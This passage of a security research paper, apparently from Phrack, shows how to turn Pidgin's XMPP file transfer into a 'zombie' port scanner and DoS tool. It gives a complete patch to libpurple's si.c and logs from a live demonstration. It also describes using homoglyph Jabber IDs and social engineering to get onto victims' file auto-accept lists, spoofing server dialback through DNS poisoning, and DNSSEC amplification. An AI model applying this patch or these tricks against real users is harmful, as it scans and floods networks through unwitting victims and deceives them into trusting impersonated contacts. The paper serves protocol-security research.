purple_proxy_info_set_port(jsx->gpi, streamhost->port); /* unknown file transfer type is assumed to be RECEIVE */ if(xfer->type == PURPLE_XFER_SEND) dstaddr = g_strdup_printf("%s%s@%s/%s%s@%s/%s", jsx->stream_id, jsx->js->user->node, jsx->js->user->domain, jsx->js->user->resource, dstjid->node, dstjid->domain, dstjid->resource); else dstaddr = g_strdup_printf("%s%s@%s/%s%s@%s/%s", jsx->stream_id, dstjid->node, dstjid->domain, dstjid->resource, jsx->js->user->node, jsx->js->user->domain, jsx->js->user->resource); /* Per XEP-0065, the 'host' must be SHA1(SID + from JID + to JID) */ hash = jabber_calculate_data_sha1sum(dstaddr, strlen(dstaddr)); jsx->connect_data = purple_proxy_connect_socks5(NULL, jsx->gpi, hash, 0, jabber_si_bytestreams_connect_cb, xfer); g_free(hash); g_free(dstaddr); /* When selecting a streamhost, timeout after STREAMHOST_CONNECT_TIMEOUT seconds, otherwise it takes forever */ if (xfer->type != PURPLE_XFER_SEND && jsx->connect_data != NULL) jsx->connect_timeout = purple_timeout_add_seconds( STREAMHOST_CONNECT_TIMEOUT, connect_timeout_cb, xfer); jabber_id_free(dstjid); } if (jsx->connect_data == NULL) { jsx->streamhosts = g_list_remove(jsx->streamhosts, streamhost); jabber_si_free_streamhost(streamhost, NULL); jabber_si_bytestreams_attempt_connect(xfer); } } \---------------------------------------------------------------------/ We are not going to delve deeply into the network operations of pidgin, as they are not important for our analysis. We will however summarize what happens: purple_proxy_connect_socks5() (defined at pidgin/libpurple/proxy.c) makes an asynchronous dns query of the proxy hostname through purple_dnsquery_a() (defined at pidgin/libpurple/dnsquery.c) which upon completion of its tasks, callbacks connection_host_resolved() (at proxy.c) which in turn calls try_connect(), which initiates, with the help of some additional functions, the actual TCP connection. That concludes our Pidgin analysis of what happens behind the scenes when a normal file transfer takes place. ------ [ 2.2 a. PoC evil patch It's time to show the necessary steps to patch Pidgin into becoming a PoC tool of our new zombie portscanning technique. Of course, everything shown here only applies to the sender of the file; the receiver can as well be a a victim-user of any client that implements XMPP and supports file-transfer. We only need to modify 3 key areas: 1) We want the initial IQ stanza to suggest that only SOCKS5 Bytestreams is possible, excluding IBB as a fallback mechanism and hence losing time with it. 2) We should not include our own IP address in the proxy list, like Pidgin does by default. If the victim tried to connect to our IP then that would have three (bad) implications: a) It knows our IP address. b) If the connection succeeds then the file-transfer actually takes place and our attack can't work. c) If the connection fails (for any reason), then we just lose time. We don't want any of the above to happen, so we never include our IP (and a randomly selected high port which Pidgin tries to open for listening) in the proxy list in the IQ stanza. 3) We write our own proxy list with the hosts that we want to portscan and the specific ports we want to scan. Let's see where each of these key areas is covered in actual code and what kind of modifications are needed. Every change only involves the si.c file. 1) In jabber_si_xfer_send_request() which sends the initial IQ stanza, lines adding IBB as an option, should be removed: //option = xmlnode_new_child(field, "option"); //value = xmlnode_new_child(option, "value"); //xmlnode_insert_data(value, NS_IBB, -1); In addition, we should remove some related code in do_transfer_send(): //if (jbr && jabber_resource_know_capabilities(jbr)) { char *msg; // if (jabber_resource_has_capability(jbr, NS_IBB)) // jsx->stream_method |= STREAM_METHOD_IBB; //if (jabber_resource_has_capability(jbr, //"http://jabber.org/protocol/si/profile/file-transfer")) { jabber_si_xfer_send_request(xfer); return; // } ... // } else { // jabber_disco_info_do(jsx->js, who, // jabber_si_xfer_send_disco_cb, xfer); // } 2) In jabber_si_xfer_bytestreams_send_init() code that involves giving our own IP in the proxy list should be removed: //jsx->listen_data = purple_network_listen_range(0, 0, SOCK_STREAM, // jabber_si_xfer_bytestreams_listen_cb, xfer); //if (jsx->listen_data == NULL) { /* We couldn't open a local port. Perhaps we can use a proxy. */ jabber_si_xfer_bytestreams_listen_cb(-1, xfer); //} 3) In jabber_si_xfer_bytestreams_listen_cb() we should write our own proxy list before its main processing loop: /* WRITE OUR OWN PROXY LIST HERE */ JabberBytestreamsStreamhost *bsh; bsh = g_new0(JabberBytestreamsStreamhost, 1); bsh->jid = g_strdup("randomname.lit"); bsh->host = g_strdup("192.168.2.1"); bsh->port = atoi("80"); jsx->js->bs_proxies = g_list_prepend(jsx->js->bs_proxies, bsh); jid can be any random name. The rest are self-explainable. In essence a PoC patch should go like this: /---------------------------------------------------------------------\ *** /pidgin-2.6.6/libpurple/protocols/jabber/si.c --- /pidgin-2.6.6-evil/libpurple/protocols/jabber/si.c *************** *** 888,893 **** --- 888,902 ---- jabber_si_xfer_bytestreams_send_connected_cb, xfer); } + /* WRITE OUR OWN PROXY LIST HERE */ + JabberBytestreamsStreamhost *bsh; + bsh = g_new0(JabberBytestreamsStreamhost, 1); + bsh->jid = g_strdup("randomname.lit"); + bsh->host = g_strdup("192.168.2.1"); + bsh->port = atoi("80"); + jsx->js->bs_proxies = g_list_prepend(jsx->js->bs_proxies, bsh); + + for (tmp = jsx->js->bs_proxies; tmp; tmp = tmp->next) { sh = tmp->data; *************** *** 960,971 **** /* TODO: Should there be an option to not use the local host as a ft proxy? * (to prevent revealing IP address, etc.) */ ! jsx->listen_data = purple_network_listen_range(0, 0, SOCK_STREAM, ! jabber_si_xfer_bytestreams_listen_cb, xfer); ! if (jsx->listen_data == NULL) { /* We couldn't open a local port. Perhaps we can use a proxy. */ jabber_si_xfer_bytestreams_listen_cb(-1, xfer); ! } } --- 969,980 ---- /* TODO: Should there be an option to not use the local host as a ft proxy? * (to prevent revealing IP address, etc.) */ ! //jsx->listen_data = purple_network_listen_range(0, 0, SOCK_STREAM, ! // jabber_si_xfer_bytestreams_listen_cb, xfer); ! //if (jsx->listen_data == NULL) { /* We couldn't open a local port. Perhaps we can use a proxy. */ jabber_si_xfer_bytestreams_listen_cb(-1, xfer); ! //} } *************** *** 1268,1276 **** option = xmlnode_new_child(field, "option"); value = xmlnode_new_child(option, "value"); xmlnode_insert_data(value, NS_BYTESTREAMS, -1); ! option = xmlnode_new_child(field, "option"); ! value = xmlnode_new_child(option, "value"); ! xmlnode_insert_data(value, NS_IBB, -1); jabber_iq_set_callback(iq, jabber_si_xfer_send_method_cb, xfer); --- 1277,1285 ---- option = xmlnode_new_child(field, "option"); value = xmlnode_new_child(option, "value"); xmlnode_insert_data(value, NS_BYTESTREAMS, -1); ! //option = xmlnode_new_child(field, "option"); ! //value = xmlnode_new_child(option, "value"); ! //xmlnode_insert_data(value, NS_IBB, -1); jabber_iq_set_callback(iq, jabber_si_xfer_send_method_cb, xfer); *************** *** 1448,1472 **** g_free(xfer->who); xfer->who = who; ! if (jbr && jabber_resource_know_capabilities(jbr)) { char *msg; ! if (jabber_resource_has_capability(jbr, NS_IBB)) ! jsx->stream_method |= STREAM_METHOD_IBB; ! if (jabber_resource_has_capability(jbr, "http://jabber.org/protocol/si/profile/file-transfer")) { jabber_si_xfer_send_request(xfer); return; ! } msg = g_strdup_printf(_("Unable to send file to %s, user does not support file transfers"), who); purple_notify_error(jsx->js->gc, _("File Send Failed"), _("File Send Failed"), msg); g_free(msg); purple_xfer_cancel_local(xfer); ! } else { ! jabber_disco_info_do(jsx->js, who, ! jabber_si_xfer_send_disco_cb, xfer); ! } } static void resource_select_ok_cb(PurpleXfer *xfer, PurpleRequestFields *fields) --- 1457,1481 ---- g_free(xfer->who); xfer->who = who; ! //if (jbr && jabber_resource_know_capabilities(jbr)) { char *msg; ! // if (jabber_resource_has_capability(jbr, NS_IBB)) ! // jsx->stream_method |= STREAM_METHOD_IBB; ! //if (jabber_resource_has_capability(jbr, "http://jabber.org/protocol/si/profile/file-transfer")) { jabber_si_xfer_send_request(xfer); return; ! // } msg = g_strdup_printf(_("Unable to send file to %s, user does not support file transfers"), who); purple_notify_error(jsx->js->gc, _("File Send Failed"), _("File Send Failed"), msg); g_free(msg); purple_xfer_cancel_local(xfer); ! // } else { ! // jabber_disco_info_do(jsx->js, who, ! // jabber_si_xfer_send_disco_cb, xfer); ! // } } static void resource_select_ok_cb(PurpleXfer *xfer, PurpleRequestFields *fields) \---------------------------------------------------------------------/ It's obvious that we haven't included any code that automatically counts the time delays and deduces if the port is filtered/open/closed. That's left as an exercice for the reader (it's trivial anyway). ------ [ 2.2 c. Real-world demonstration We are now going to show what happens when we actually take our zombie portscanning attack in the real world. We are going to demonstrate the cases of open and filtered ports. Here's our setup: Client 1 (sender) ----------------- jabber_id: ubuvic@programmer-art.org IP address: 192.168.2.111 O/S: Ubuntu with kernel 2.6.31 filename: testfile file_contents: "12345" pidgin: version 2.6.6 (latest stable as of now) Client 2 (victim receiver aka zombie) ------------------------------------- jabber_id: testofsha@programmer-art.org IP address: 192.168.2.102 O/S: Arch with kernel 2.6.33 pidgin: version 2.6.6 (latest stable as of now) Target1 ------- IP address: 192.168.2.1 port: 21 (open) Target2 -------- Hostname: scanme.nmap.org port: 1337 (filtered) == Test case 1 == Below follow the IQ stanzas exchanged between the attacker (sender) and the zombie victim (receiver), from the sender's perspective: (05:38:34) jabber: Sending (ssl) (testofsha@programmer-art.org/home): (05:38:47) jabber: Recv (ssl)(371): http://jabber.org/protocol/bytestreams (05:38:47) jabber: jabber_si_xfer_bytestreams_listen_cb() will be looking at jsx 0x87cc3c0: jsx->streamhosts (nil) and sh->jid 0x88270e0 (05:38:47) jabber: Sending (ssl) (testofsha@programmer-art.org/home): (05:38:48) jabber: Recv (ssl)(227): Notice that the time delay between the message that contains the proxy list and the error message received by the victim is very small (1 second). This happens because as we said before, the scanned target 192.168.2.1 which has a FTP server running on port 21 will immediately drop the connection after receiving a SOCKS5 CONNECT message from the zombie host. Now let's see the messages from the receiver's perspective: (05:38:31) jabber: Recv (ssl)(576): (05:38:44) jabber: Sending (ssl): http://jabber.org/protocol/bytestreams (05:38:44) jabber: Recv (ssl)(272): (05:38:44) dns: DNS query for '192.168.2.1' queued (05:38:44) dnsquery: IP resolved for 192.168.2.1 (05:38:44) proxy: Attempting connection to 192.168.2.1 (05:38:44) proxy: Connecting to 57918ad2a63d120a6952e6863c2e9003a60f1329:0 via 192.168.2.1:21 using SOCKS5 (05:38:44) socks5 proxy: Connection in progress (05:38:44) socks5 proxy: Connected. (05:38:45) socks5 proxy: Able to read. (05:38:45) proxy: Connection attempt failed: Received invalid data on connection with server (05:38:45) jabber: si connection failed, jid was randomname.lit, host was 192.168.2.1, error was Received invalid data on connection with server (05:38:45) jabber: Sending (ssl): == Test case 2 == Now let's see what happens when we scan a filtered port. Below follow the messages exchanged from the victim's perspective: (00:54:26) jabber: Recv (ssl)(576): (00:54:37) jabber: Sending (ssl): http://jabber.org/protocol/bytestreams (00:54:38) jabber: Recv (ssl)(273): (00:54:38) dns: DNS query for '64.13.134.52' queued (00:54:38) dnsquery: IP resolved for 64.13.134.52 (00:54:38) proxy: Attempting connection to 64.13.134.52 (00:54:38) proxy: Connecting to 57ce56a020e912227588cf249f10bb5e856f00d2:0 via 64.13.134.52:1337 using SOCKS5 (00:54:38) socks5 proxy: Connection in progress (00:54:53) jabber: Streamhost connection timeout of 15 seconds exceeded. (00:54:53) jabber: si connection failed, jid was randomname.lit, host was 64.13.134.52, error was Timeout Exceeded. (00:54:53) jabber: Sending (ssl): We can see that the delay between the last message and the one before it, is now 15 seconds. Compare that with the 1 second delay of the previous test case where the port was open and you can see that our theory meets practice. ------ [ 2.2 d. Attack automation All of the above wouldn't be of much real use, if the task wasn't more automated. It is fortunate that XMPP provides us with even more facilities which we can take advantage of for this purpose. One file request for each port scanned would probably attract too much attention to the zombie victim user. The secret to avoid this lies in XMPP's Internationalization features. Add to that a little bit of Social Engineering and some XMPP clients' capabilities for file auto-acceptance and you have the perfect recipe for the attack's automation. Let us elaborate. XMPP domain and user names are not limited to ASCII characters only. They support the full Unicode range. This means that a JID of "testofsha@programmer-art.org" is different from "testofsha@programmer-art.org" where the 'o' in 'testofsha' is for example coming from the Greek alphabet. While these usernames are two completely different things, they visually appear as exactly the same in almost all clients. This leaves huge room for fake impersonation and easily gaining trust from unsuspected victims. After using the above trick with some Social Engineering, you can persuade the user to put you on the file auto-accept list. Perhaps, you want to give him the latest movie clip (which has unfortunately been removed from YouTube due to DMCA related reasons), that however comes in many small .rar files. Use your imagination here. XMPP clients that have a file auto-accept feature include Pidgin (default plugin), iChat with iChax and probably others. ---- [ 2.3 XMPP & DNS XMPP is largely dependent on DNS. That of course wouldn't come as a surprise, since almost everything more or less relies on DNS nowadays. In XMPP, however things get interesting with the concept of Server federation. As we have already discussed in the beginning of this paper, a server must contact another when the user of the former wants to send a message to a user of the latter. Thus some kind of server authentication is essential to prevent spoofing. The safest way to do this is through the SASSL EXTERNAL mechanism which is based on certificate exchange over a TSL encrypted session. However, since this is not yet widespread, a weaker approach is usually used. Enter server dialback. Server dialback's security relies only on DNS security, which Dan Kaminsky and other researchers have proved is 0 security. Here is how it works: 1. The originating server establishes a XML stream over a TCP connection to the receiving server. 2. It then generates a dialback key and sends that to the receiving server. 3. The receiving server must now validate the originating server's identity before continuing. It makes a DNS lookup on the hostname of the authoritative server (the server which is responsible for the domain of the originating server) and opens a XML stream over TCP connection to it. 4. The receiving server sends the dialback key to the authoritative server for verification. 5. The authoritative server answers if the key is valid or not. 6. The receiving server continues or drops the connection with the originating server based on whether the key was verified or not. As you can see, step 3 is where a poisoned DNS cache can work miracles. If the receiving server connects to a rogue server, as directed by a malicious DNS cache entry, instead of the real authoritative server for the domain, then any dialback key can be be verified. This means that a fake originating server can send messages impersonating to be any user belonging to that domain. Imagine the implications of sending a fake message from admin@jabber.org. We aren't presenting a new technique in this section. We merely want to stress out the interdependence of all network protocols, as is the case with XMPP and DNS, and the inherent insecurity that this entails. A great source of information for XMPP, Server Federation and many more aspects of the famous protocol is 'XMPP: The Definitive Guide' (O'Reily) [6]. 3. DoS attacks revised ======================= Denial of Service attacks will always remain a much discussed topic, since they are more common and easier to reproduce than writing complex 0day SSH exploits (that can erase your home directory if you are not careful enough or can't read shellcode). In this section, we are going to show one new technique involving XMPP and our zombie proxy method, move on to remind some related work on TCP exploitation and finally reference some of Daniel Bernstein's research on DNSSEC insecurity. All of these under the prism of DoS attacks. ---- [ 3.1 XMPP zombie proxy attack This method relies on the ability to direct a zombie target into connecting to any 'proxy' host we wish, according to what we discussed in Section 2 - XMPP. Essentially, we can use a multitude of parallel zombie hosts and order them to conduct numerous connections to any number of supposedly 'proxy' hosts. The key aspects of this attack are stealth, speed and moderate potence: a) Stealth: you never touch the DoS victim yourself; no IP is ever revealed. b) Unlimited host/port specification per request: you can specify virtually thousands or countless number of host/port pairs in the proxy list. This means that with only one file request, you can force the zombie victim to make unlimited number of sequential connections to the target(s). c) Potence: since the connections made to each proxy in the list will be sequential, you will need to either send numerous file requests to one zombie host or just use many parallel zombies for the DoS attack to be of significant potence. ---- [ 3.2 TCP Persist Timer attack TCP on which the whole Internet infrastructure is based, is no safer from DoS attacks than any other protocol. In the article "Exploiting TCP and the Persist Timer Infiniteness" published at Phrack #66 [7], it was demonstrated that even a robust protocol like TCP can have inherent features that can be leveraged to extend and amplify already existing DoS attacks. We won't go into the process of repeating the technique, since the article is more than verbose in analyzing every aspect of it. We do, however, dedicate this section to mention it, simply to stress out the fact that no network protocol, no matter how much testing it has gone through, is flawless. ---- [ 3.3 DNSSEC attack After the 'Kaminsky Bug' was exposed during the summer of 2008, people started realizing the inherent insecurity of DNS. A set of security extensions under the name of DNSSEC (which has actually been existing several years now) was then proposed as _the_ solution for replacing the old and buggy DNS protocol. DNSSEC is quite complex and analyzing how it works is beyond the scope of this paper. It is supposed to solve some insecure aspects of DNS like the infamous cache poisoning attack (which was made very easy with Dan Kaminsky's exploit), but eventually like all network protocols DNSSEC introduces problems of its own. Daniel J. Bernstein's recent work on DNSSEC's security analysis [8] focused, among others, on leveraging the protocol as a DDoS amplifier. The main reason for the data amplification is the fact that DNSSEC uses cryptography and thus the servers using it will reply with usually long answers (notably RRSIG records that store digital signatures associated with resource records). The most interesting thing is that the data are amplified by a factor of almost 3900%. Essentially this means that sending a request of 100 bytes yields a response of 3900 bytes. The fact that DNS source addresses can easily be spoofed, adds to the overall risk. You can issue queries to several DNSSEC servers at the same time, pretending to be a host which you want to attack and the result will be that a vast amount of data are going to be sent to it as replies, potentially causing a massive DoS attack. DNSSEC's problems don't end there (see zone transfer as a feature etc). Nevertheless, the reader is well advised to look them up in the relevant bibliography since discussing all of them here would be out of context. 4. Conclusion ============== Network protocols will perpetually have design flaws. Even those which are specifically built with security in mind can't be perfect. Abusing them is only a matter of thinking out of the box and thus only a matter of time. Protecting against these kinds of threats is probably one of the hardest trials for 'security people'. That's too bad or isn't it? 5. References ============== [1]. XMPP foundation http://xmpp.org [2]. XEP-0095: Stream Initiation http://xmpp.org/extensions/xep-0095.html [3]. XEP-0096: SI File Transfer http://xmpp.org/extensions/xep-0096.html [4]. XEP-0166: Jingle http://xmpp.org/extensions/xep-0166.html [5]. XEP-0234: Jingle File Transfer http://xmpp.org/extensions/xep-0234.html [6]. XMPP: The Definitive Guide (O'Reilly) http://oreilly.com/catalog/9780596521271 [7]. Exploiting TCP and the Persist Timer Infiniteness (Phrack #66) http://phrack.org/issues.html?issue=66&id=9#article [8]. Breaking DNSSEC (D.J. Bernstein) http://cr.yp.to/talks/2009.08.10/slides.pdf